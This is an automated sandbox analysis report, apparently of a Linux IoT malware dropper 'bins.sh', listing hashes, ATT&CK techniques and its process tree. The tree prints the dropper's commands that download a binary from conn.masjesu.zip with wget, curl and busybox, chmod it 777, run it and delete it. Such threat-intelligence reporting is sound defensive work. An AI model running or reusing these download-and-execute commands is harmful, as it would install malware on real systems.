d4c59e0a69aaec36baa832e8d24c19a7d615a1e8704afc72c3326162423e034b

Analysis

max time kernel
136s
max time network
144s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
25-11-2024 18:25

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General

Target

bins.sh
Size

10KB
MD5

d2d19c777647baa47542dfd5cbb047a9
SHA1

5c401d40eb93451acb97d18d3a44e398daf6542a
SHA256

d4c59e0a69aaec36baa832e8d24c19a7d615a1e8704afc72c3326162423e034b
SHA512

60e17ad7e2d80a5d651120be0d99dab42e4415ec594a66f31c7a962e62b433a17a86760f2ef828b2cdbf2cf9b4e937e80e392b8904e9496947f2ba349a784246
SSDEEP

192:CpEfbylBhfoMPm+ResSygPs7b7kNJKOfbylBhFoMPm+fSygub7kNJp:CpEfbUBhZeZspOfbUBhg

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmod

pid process

829 chmod
Executes dropped EXE 1 IoCs

Processes:

dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc

ioc pid process

/tmp/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc 830 dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
Reads runtime system information 1 IoCs
Reads data from /proc virtual filesystem.
discovery

Processes:

curl

description ioc process

File opened for reading /proc/sys/crypto/fips_enabled curl
System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

wgetcurlbusybox

pid process

724 wget
747 curl
750 busybox

pid	process
829	chmod

ioc	pid	process
/tmp/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc	830	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc

description	ioc	process
File opened for reading	/proc/sys/crypto/fips_enabled	curl

pid	process
724	wget
747	curl
750	busybox

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurl

description	ioc	process
File opened for modification	/tmp/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc	wget
File opened for modification	/tmp/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:718
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:721
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:724
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:747
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  2⤵
  - System Network Configuration Discovery
  PID:750
- /bin/chmod
  chmod 777 dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  ./dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  2⤵
  - Executes dropped EXE
  PID:830
- /bin/rm
  rm dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  2⤵
  PID:832
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
  2⤵
  PID:833

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

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